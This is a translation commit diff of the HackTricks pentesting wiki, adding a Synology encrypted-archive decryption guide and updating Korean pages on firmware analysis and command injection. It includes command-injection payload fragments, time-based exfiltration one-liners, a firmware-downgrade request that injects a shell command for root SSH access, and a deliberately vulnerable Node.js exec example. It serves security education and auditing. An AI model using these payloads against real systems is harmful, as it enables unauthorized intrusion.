mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
a27656dc41
commit
4621aca21f
@ -769,6 +769,7 @@
|
||||
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
@ -1,14 +1,20 @@
|
||||
# 펌웨어 분석
|
||||
# Firmware Analysis
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **소개**
|
||||
## **Introduction**
|
||||
|
||||
펌웨어는 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 간의 통신을 관리하고 촉진하여 장치가 올바르게 작동하도록 하는 필수 소프트웨어입니다. 이는 영구 메모리에 저장되어 장치가 전원이 켜지는 순간부터 중요한 지침에 접근할 수 있도록 하여 운영 체제가 시작됩니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다.
|
||||
### Related resources
|
||||
|
||||
## **정보 수집**
|
||||
{{#ref}}
|
||||
synology-encrypted-archive-decryption.md
|
||||
{{#endref}}
|
||||
|
||||
**정보 수집**은 장치의 구성과 사용되는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정에는 다음에 대한 데이터 수집이 포함됩니다:
|
||||
펌웨어는 장치가 올바르게 작동하도록 하는 필수 소프트웨어로, 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 간의 통신을 관리하고 촉진합니다. 이는 영구 메모리에 저장되어 장치가 전원이 켜지는 순간부터 중요한 지침에 접근할 수 있도록 하여 운영 체제가 시작됩니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다.
|
||||
|
||||
## **Gathering Information**
|
||||
|
||||
**정보 수집**은 장치의 구성과 사용하는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정은 다음에 대한 데이터를 수집하는 것을 포함합니다:
|
||||
|
||||
- CPU 아키텍처 및 운영 체제
|
||||
- 부트로더 세부사항
|
||||
@ -19,14 +25,14 @@
|
||||
- 아키텍처 및 흐름 다이어그램
|
||||
- 보안 평가 및 식별된 취약점
|
||||
|
||||
이 목적을 위해 **오픈 소스 정보(OSINT)** 도구는 매우 유용하며, 수동 및 자동 검토 프로세스를 통해 사용 가능한 오픈 소스 소프트웨어 구성 요소를 분석하는 것도 중요합니다. [Coverity Scan](https://scan.coverity.com) 및 [Semmle의 LGTM](https://lgtm.com/#explore)과 같은 도구는 잠재적인 문제를 찾기 위해 활용할 수 있는 무료 정적 분석을 제공합니다.
|
||||
이 목적을 위해 **오픈 소스 정보(OSINT)** 도구는 매우 유용하며, 수동 및 자동 검토 프로세스를 통해 사용 가능한 오픈 소스 소프트웨어 구성 요소를 분석하는 것도 중요합니다. [Coverity Scan](https://scan.coverity.com) 및 [Semmle’s LGTM](https://lgtm.com/#explore)과 같은 도구는 잠재적인 문제를 찾기 위해 활용할 수 있는 무료 정적 분석을 제공합니다.
|
||||
|
||||
## **펌웨어 획득**
|
||||
## **Acquiring the Firmware**
|
||||
|
||||
펌웨어를 획득하는 방법은 여러 가지가 있으며, 각 방법은 복잡성의 수준이 다릅니다:
|
||||
펌웨어를 얻는 방법은 여러 가지가 있으며, 각 방법마다 복잡성이 다릅니다:
|
||||
|
||||
- **소스**(개발자, 제조업체)에서 **직접**
|
||||
- 제공된 지침에 따라 **구축**
|
||||
- **소스**(개발자, 제조업체)에서 직접
|
||||
- 제공된 지침에 따라 **빌드**
|
||||
- 공식 지원 사이트에서 **다운로드**
|
||||
- 호스팅된 펌웨어 파일을 찾기 위한 **Google dork** 쿼리 활용
|
||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner)와 같은 도구를 사용하여 **클라우드 스토리지**에 직접 접근
|
||||
@ -37,9 +43,9 @@
|
||||
- 부트로더 또는 네트워크에서 **덤프**
|
||||
- 모든 방법이 실패할 경우 적절한 하드웨어 도구를 사용하여 저장 칩을 **제거하고 읽기**
|
||||
|
||||
## 펌웨어 분석
|
||||
## Analyzing the firmware
|
||||
|
||||
이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보 추출이 필요합니다. 이를 위해 사용할 수 있는 다양한 도구가 있습니다:
|
||||
이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보를 추출해야 합니다. 이를 위해 사용할 수 있는 다양한 도구:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -48,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E <bin>`로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 있습니다.
|
||||
해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E <bin>`로 이미지의 **entropy**를 확인하세요. 낮은 entropy라면 암호화되지 않았을 가능성이 높습니다. 높은 entropy라면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 높습니다.
|
||||
|
||||
또한, 이러한 도구를 사용하여 **펌웨어에 내장된 파일**을 추출할 수 있습니다:
|
||||
|
||||
@ -60,12 +66,12 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
|
||||
### 파일 시스템 가져오기
|
||||
|
||||
이전의 언급된 도구인 `binwalk -ev <bin>`를 사용하면 **파일 시스템을 추출**할 수 있어야 합니다.\
|
||||
이전의 언급된 도구인 `binwalk -ev <bin>`를 사용하면 **파일 시스템을 추출할 수 있어야 합니다**.\
|
||||
Binwalk는 일반적으로 **파일 시스템 유형의 이름을 가진 폴더** 안에 추출합니다. 이 폴더는 보통 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### 수동 파일 시스템 추출
|
||||
|
||||
때때로, binwalk는 **파일 시스템의 매직 바이트를 시그니처에 포함하지 않을 수 있습니다**. 이러한 경우, binwalk를 사용하여 **파일 시스템의 오프셋을 찾고 이진 파일에서 압축된 파일 시스템을 조각내며** 아래의 단계에 따라 파일 시스템을 **수동으로 추출**하세요.
|
||||
때때로, binwalk는 **파일 시스템의 매직 바이트를 시그니처에 포함하지 않을 수 있습니다**. 이러한 경우, binwalk를 사용하여 **파일 시스템의 오프셋을 찾고 이진 파일에서 압축된 파일 시스템을 조각내어** 해당 유형에 따라 아래의 단계를 사용하여 **수동으로 파일 시스템을 추출**하세요.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -95,7 +101,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
파일은 이후 "`squashfs-root`" 디렉토리에 있습니다.
|
||||
파일은 이후에 "`squashfs-root`" 디렉토리에 저장됩니다.
|
||||
|
||||
- CPIO 아카이브 파일
|
||||
|
||||
@ -113,11 +119,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적 취약점을 이해하기 위해 분석하는 것이 필수적입니다. 이 과정은 펌웨어 이미지에서 유용한 데이터를 분석하고 추출하기 위해 다양한 도구를 활용하는 것을 포함합니다.
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적 취약점을 이해하기 위해 분석하는 것이 필수적입니다. 이 과정은 다양한 도구를 활용하여 펌웨어 이미지에서 유용한 데이터를 분석하고 추출하는 것을 포함합니다.
|
||||
|
||||
### 초기 분석 도구
|
||||
|
||||
이진 파일( `<bin>`으로 언급됨)의 초기 검사를 위한 명령어 세트가 제공됩니다. 이 명령어는 파일 유형을 식별하고, 문자열을 추출하며, 이진 데이터를 분석하고, 파티션 및 파일 시스템 세부 정보를 이해하는 데 도움이 됩니다:
|
||||
이진 파일( `<bin>`으로 언급됨)의 초기 검사를 위한 명령어 세트가 제공됩니다. 이 명령어들은 파일 유형을 식별하고, 문자열을 추출하며, 이진 데이터를 분석하고, 파티션 및 파일 시스템 세부 정보를 이해하는 데 도움을 줍니다:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -126,19 +132,19 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 나타내고, 높은 엔트로피는 암호화 또는 압축이 가능함을 나타냅니다.
|
||||
이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 시사하며, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다.
|
||||
|
||||
**임베디드 파일**을 추출하기 위해서는 **file-data-carving-recovery-tools** 문서와 파일 검사를 위한 **binvis.io**와 같은 도구와 리소스가 추천됩니다.
|
||||
|
||||
### 파일 시스템 추출
|
||||
|
||||
`binwalk -ev <bin>`을 사용하면 일반적으로 파일 시스템을 추출할 수 있으며, 종종 파일 시스템 유형(예: squashfs, ubifs) 이름의 디렉토리에 저장됩니다. 그러나 **binwalk**가 매직 바이트가 누락되어 파일 시스템 유형을 인식하지 못할 경우 수동 추출이 필요합니다. 이는 `binwalk`를 사용하여 파일 시스템의 오프셋을 찾고, 그 다음 `dd` 명령을 사용하여 파일 시스템을 조각내는 과정을 포함합니다:
|
||||
`binwalk -ev <bin>`을 사용하면 일반적으로 파일 시스템을 추출할 수 있으며, 종종 파일 시스템 유형(예: squashfs, ubifs)의 이름을 딴 디렉토리에 저장됩니다. 그러나 **binwalk**가 매직 바이트가 누락되어 파일 시스템 유형을 인식하지 못할 경우 수동 추출이 필요합니다. 이는 `binwalk`를 사용하여 파일 시스템의 오프셋을 찾고, 그 다음 `dd` 명령을 사용하여 파일 시스템을 조각내는 과정을 포함합니다:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
그 후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 수동으로 내용을 추출하는 데 사용되는 다양한 명령이 있습니다.
|
||||
이후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 수동으로 내용을 추출하는 데 사용되는 다양한 명령이 있습니다.
|
||||
|
||||
### 파일 시스템 분석
|
||||
|
||||
@ -146,7 +152,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
**검사할 주요 위치** 및 **항목**은 다음과 같습니다:
|
||||
|
||||
- **etc/shadow** 및 **etc/passwd**에서 사용자 자격 증명
|
||||
- 사용자 자격 증명을 위한 **etc/shadow** 및 **etc/passwd**
|
||||
- **etc/ssl**의 SSL 인증서 및 키
|
||||
- 잠재적 취약점을 위한 구성 및 스크립트 파일
|
||||
- 추가 분석을 위한 내장 바이너리
|
||||
@ -160,7 +166,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
### 컴파일된 바이너리에 대한 보안 검사
|
||||
|
||||
파일 시스템에서 발견된 소스 코드와 컴파일된 바이너리는 취약점에 대해 면밀히 조사해야 합니다. Unix 바이너리용 **checksec.sh** 및 Windows 바이너리용 **PESecurity**와 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
파일 시스템에서 발견된 소스 코드와 컴파일된 바이너리는 취약점에 대해 면밀히 조사해야 합니다. Unix 바이너리를 위한 **checksec.sh**와 Windows 바이너리를 위한 **PESecurity**와 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
|
||||
## 동적 분석을 위한 펌웨어 에뮬레이션
|
||||
|
||||
@ -194,13 +200,13 @@ ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레
|
||||
|
||||
이 단계에서는 실제 또는 에뮬레이션된 장치 환경이 분석에 사용됩니다. OS 및 파일 시스템에 대한 셸 접근을 유지하는 것이 중요합니다. 에뮬레이션이 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석은 파일 시스템을 재검토하고, 노출된 웹페이지 및 네트워크 서비스를 이용하며, 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 백도어 취약점을 식별하는 데 중요합니다.
|
||||
|
||||
## 런타임 분석 기술
|
||||
## 런타임 분석 기법
|
||||
|
||||
런타임 분석은 gdb-multiarch, Frida 및 Ghidra와 같은 도구를 사용하여 운영 환경에서 프로세스 또는 바이너리와 상호작용하며, 중단점을 설정하고 퍼징 및 기타 기술을 통해 취약점을 식별하는 것을 포함합니다.
|
||||
런타임 분석은 gdb-multiarch, Frida 및 Ghidra와 같은 도구를 사용하여 운영 환경에서 프로세스 또는 바이너리와 상호작용하며, 중단점을 설정하고 퍼징 및 기타 기법을 통해 취약점을 식별하는 것을 포함합니다.
|
||||
|
||||
## 바이너리 익스플로잇 및 개념 증명
|
||||
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기술이 필요할 수 있습니다.
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기법이 필요할 수 있습니다.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 운영 체제
|
||||
|
||||
@ -219,7 +225,7 @@ ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레
|
||||
|
||||
1. **이전 서명된 이미지 확보**
|
||||
* 벤더의 공개 다운로드 포털, CDN 또는 지원 사이트에서 가져옵니다.
|
||||
* 동반 모바일/데스크톱 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부).
|
||||
* 동반 모바일/데스크탑 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부).
|
||||
* VirusTotal, 인터넷 아카이브, 포럼 등과 같은 제3자 리포지토리에서 검색합니다.
|
||||
2. **노출된 업데이트 채널을 통해 장치에 이미지를 업로드하거나 제공합니다:**
|
||||
* 웹 UI, 모바일 앱 API, USB, TFTP, MQTT 등.
|
||||
@ -234,7 +240,7 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스를 활성화하는 것). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해졌습니다.
|
||||
취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스를 활성화하는 것). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해집니다.
|
||||
|
||||
### 모바일 앱에서 펌웨어 추출하기
|
||||
|
||||
|
@ -0,0 +1,162 @@
|
||||
# Synology PAT/SPK 암호화 아카이브 복호화
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
여러 Synology 장치 (DSM/BSM NAS, BeeStation 등)는 **암호화된 PAT / SPK 아카이브**로 펌웨어 및 애플리케이션 패키지를 배포합니다. 이러한 아카이브는 공식 추출 라이브러리에 내장된 하드코딩된 키 덕분에 공개 다운로드 파일만으로 *오프라인*에서 복호화할 수 있습니다.
|
||||
|
||||
이 페이지는 암호화된 형식이 작동하는 방식과 각 패키지 내부에 있는 평문 **TAR**를 완전히 복구하는 방법을 단계별로 문서화합니다. 이 절차는 Pwn2Own Ireland 2024 동안 수행된 Synacktiv 연구를 기반으로 하며 오픈 소스 도구 [`synodecrypt`](https://github.com/synacktiv/synodecrypt)에서 구현되었습니다.
|
||||
|
||||
> ⚠️ 형식은 `*.pat` (시스템 업데이트)와 `*.spk` (애플리케이션) 아카이브 모두에 대해 정확히 동일합니다 – 선택되는 하드코딩된 키 쌍만 다릅니다.
|
||||
|
||||
---
|
||||
|
||||
## 1. 아카이브 가져오기
|
||||
|
||||
펌웨어/애플리케이션 업데이트는 일반적으로 Synology의 공개 포털에서 다운로드할 수 있습니다:
|
||||
```bash
|
||||
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
|
||||
```
|
||||
## 2. PAT 구조 덤프하기 (선택 사항)
|
||||
|
||||
`*.pat` 이미지는 여러 파일(부트 로더, 커널, rootfs, 패키지 등)을 포함하는 **cpio 번들**입니다. 무료 유틸리티 [`patology`](https://github.com/sud0woodo/patology)는 해당 래퍼를 검사하는 데 유용합니다:
|
||||
```bash
|
||||
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
|
||||
[…]
|
||||
$ ls
|
||||
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
|
||||
```
|
||||
`*.spk` 파일의 경우 3단계로 바로 이동할 수 있습니다.
|
||||
|
||||
## 3. Synology 추출 라이브러리 추출
|
||||
|
||||
실제 복호화 로직은 다음에 있습니다:
|
||||
|
||||
* `/usr/syno/sbin/synoarchive` → 메인 CLI 래퍼
|
||||
* `/usr/lib/libsynopkg.so.1` → DSM UI에서 래퍼 호출
|
||||
* `libsynocodesign.so` → **암호화 구현 포함**
|
||||
|
||||
두 바이너리는 시스템 rootfs (`hda1.tgz`) **및** 압축된 init-rd (`rd.bin`)에 존재합니다. PAT만 있는 경우 다음과 같은 방법으로 가져올 수 있습니다:
|
||||
```bash
|
||||
# rd.bin is LZMA-compressed CPIO
|
||||
$ lzcat rd.bin | cpio -id 2>/dev/null
|
||||
$ file usr/lib/libsynocodesign.so
|
||||
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
|
||||
```
|
||||
## 4. 하드코딩된 키 복구하기 (`get_keys`)
|
||||
|
||||
`libsynocodesign.so` 내부의 `get_keys(int keytype)` 함수는 요청된 아카이브 패밀리에 대해 두 개의 128비트 전역 변수를 단순히 반환합니다:
|
||||
```c
|
||||
case 0: // PAT (system)
|
||||
case 10:
|
||||
case 11:
|
||||
signature_key = qword_23A40;
|
||||
master_key = qword_23A68;
|
||||
break;
|
||||
|
||||
case 3: // SPK (applications)
|
||||
signature_key = qword_23AE0;
|
||||
master_key = qword_23B08;
|
||||
break;
|
||||
```
|
||||
* **signature_key** → 아카이브 헤더를 검증하는 데 사용되는 Ed25519 공개 키.
|
||||
* **master_key** → 아카이브별 암호화 키를 파생하는 데 사용되는 루트 키.
|
||||
|
||||
각 DSM 주요 버전마다 이 두 상수를 한 번만 덤프하면 됩니다.
|
||||
|
||||
## 5. 헤더 구조 및 서명 검증
|
||||
|
||||
`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()`는 다음을 수행합니다:
|
||||
|
||||
1. 매직 읽기 (3 바이트) `0xBFBAAD` **또는** `0xADBEEF`.
|
||||
2. 리틀 엔디안 32비트 `header_len` 읽기.
|
||||
3. `header_len` 바이트 + 다음 **0x40 바이트 Ed25519 서명** 읽기.
|
||||
4. `crypto_sign_verify_detached()`가 성공할 때까지 모든 내장 공개 키를 반복합니다.
|
||||
5. **MessagePack**으로 헤더를 디코딩하여 결과를 생성합니다:
|
||||
```python
|
||||
[
|
||||
data: bytes,
|
||||
entries: [ [size: int, sha256: bytes], … ],
|
||||
archive_description: bytes,
|
||||
serial_number: [bytes],
|
||||
not_valid_before: int
|
||||
]
|
||||
```
|
||||
`entries`는 libarchive가 각 파일을 복호화할 때 무결성 검사를 수행할 수 있도록 합니다.
|
||||
|
||||
## 6. 아카이브별 서브 키 유도
|
||||
|
||||
MessagePack 헤더에 포함된 `data` 블롭에서:
|
||||
|
||||
* `subkey_id` = 오프셋 0x10의 리틀 엔디안 `uint64`
|
||||
* `ctx` = 오프셋 0x18의 7 바이트
|
||||
|
||||
32바이트 **스트림 키**는 libsodium을 사용하여 얻습니다:
|
||||
```c
|
||||
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
|
||||
```
|
||||
## 7. Synology의 커스텀 **libarchive** 백엔드
|
||||
|
||||
Synology는 매직이 `0xADBEEF`일 때 가짜 "tar" 형식을 등록하는 패치된 libarchive를 번들로 제공합니다:
|
||||
```c
|
||||
register_format(
|
||||
"tar", spk_bid, spk_options,
|
||||
spk_read_header, spk_read_data, spk_read_data_skip,
|
||||
NULL, spk_cleanup, NULL, NULL);
|
||||
```
|
||||
### spk_read_header()
|
||||
```
|
||||
- Read 0x200 bytes
|
||||
- nonce = buf[0:0x18]
|
||||
- cipher = buf[0x18:0x18+0x193]
|
||||
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
|
||||
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
|
||||
```
|
||||
복호화된 `tar_hdr`는 **고전적인 POSIX TAR 헤더**입니다.
|
||||
|
||||
### spk_read_data()
|
||||
```
|
||||
while (remaining > 0):
|
||||
chunk_len = min(0x400000, remaining) + 0x11 # +tag
|
||||
buf = archive_read_ahead(chunk_len)
|
||||
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
|
||||
remaining -= chunk_len - 0x11
|
||||
```
|
||||
각 **0x18-byte nonce**는 암호화된 청크 앞에 추가됩니다.
|
||||
|
||||
모든 항목이 처리되면 libarchive는 표준 도구로 압축 해제할 수 있는 완벽하게 유효한 **`.tar`** 파일을 생성합니다.
|
||||
|
||||
## 8. synodecrypt로 모든 것을 복호화합니다.
|
||||
```bash
|
||||
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
|
||||
[+] found matching keys (SPK)
|
||||
[+] header signature verified
|
||||
[+] 104 entries
|
||||
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||
|
||||
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||
```
|
||||
`synodecrypt`는 PAT/SPK를 자동으로 감지하고, 올바른 키를 로드하며, 위에 설명된 전체 체인을 적용합니다.
|
||||
|
||||
## 9. 일반적인 함정
|
||||
|
||||
* `signature_key`와 `master_key`를 **교환하지 마십시오** – 이들은 서로 다른 목적을 가지고 있습니다.
|
||||
* **nonce**는 모든 블록(헤더 및 데이터)의 암호문 *앞*에 위치합니다.
|
||||
* 최대 암호화 청크 크기는 **0x400000 + 0x11**(libsodium 태그)입니다.
|
||||
* 한 DSM 세대에 대해 생성된 아카이브는 다음 릴리스에서 다른 하드코딩된 키로 전환될 수 있습니다.
|
||||
|
||||
## 10. 추가 도구
|
||||
|
||||
* [`patology`](https://github.com/sud0woodo/patology) – PAT 아카이브를 파싱/덤프합니다.
|
||||
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – PAT/SPK/기타를 복호화합니다.
|
||||
* [`libsodium`](https://github.com/jedisct1/libsodium) – XChaCha20-Poly1305 secretstream의 참조 구현입니다.
|
||||
* [`msgpack`](https://msgpack.org/) – 헤더 직렬화.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [Extraction of Synology encrypted archives – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
|
||||
- [patology on GitHub](https://github.com/sud0woodo/patology)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Context
|
||||
|
||||
**입력이 주입되는 위치**에 따라 명령을 실행하기 전에 **인용된 컨텍스트를 종료해야** 할 수도 있습니다(`"` 또는 `'` 사용).
|
||||
**입력이 주입되는 위치**에 따라 명령 전에 **인용된 컨텍스트를 종료**해야 할 수도 있습니다(`"` 또는 `'` 사용).
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -31,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
```
|
||||
### **제한** 우회
|
||||
|
||||
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다:
|
||||
리눅스 머신에서 **임의의 명령을 실행**하려고 한다면 이 **우회**에 대해 읽어보는 것이 좋습니다:
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
@ -45,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parameters
|
||||
|
||||
다음은 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
여기 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수가 있습니다 (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -73,9 +73,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### 시간 기반 데이터 유출
|
||||
### Time based data exfiltration
|
||||
|
||||
데이터 추출: 문자 단위로
|
||||
데이터 추출: 문자별로
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -111,21 +111,45 @@ DNS 기반 데이터 유출을 확인하기 위한 온라인 도구:
|
||||
powershell C:**2\n??e*d.*? # notepad
|
||||
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||||
```
|
||||
#### 리눅스
|
||||
#### Linux
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
## 브루트포스 탐지 목록
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
JavaScript/TypeScript 백엔드를 감사할 때, Node.js `child_process` API를 자주 접하게 됩니다.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()`는 **쉘** (`/bin/sh -c`)을 생성하므로, 사용자 입력이 문자열에 연결될 때 쉘에 특별한 의미를 가지는 모든 문자(백틱, `;`, `&&`, `|`, `$()`, …)는 **명령 주입**을 초래합니다.
|
||||
|
||||
**완화:** `execFile()` (또는 `shell` 옵션 없이 `spawn()`)을 사용하고 **각 인수를 별도의 배열 요소로 제공**하여 쉘이 관여하지 않도록 합니다:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
'--id_user', id_user,
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`에 삽입하여 나중에 `exec()` 호출에 포함시켜 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## 참고문헌
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
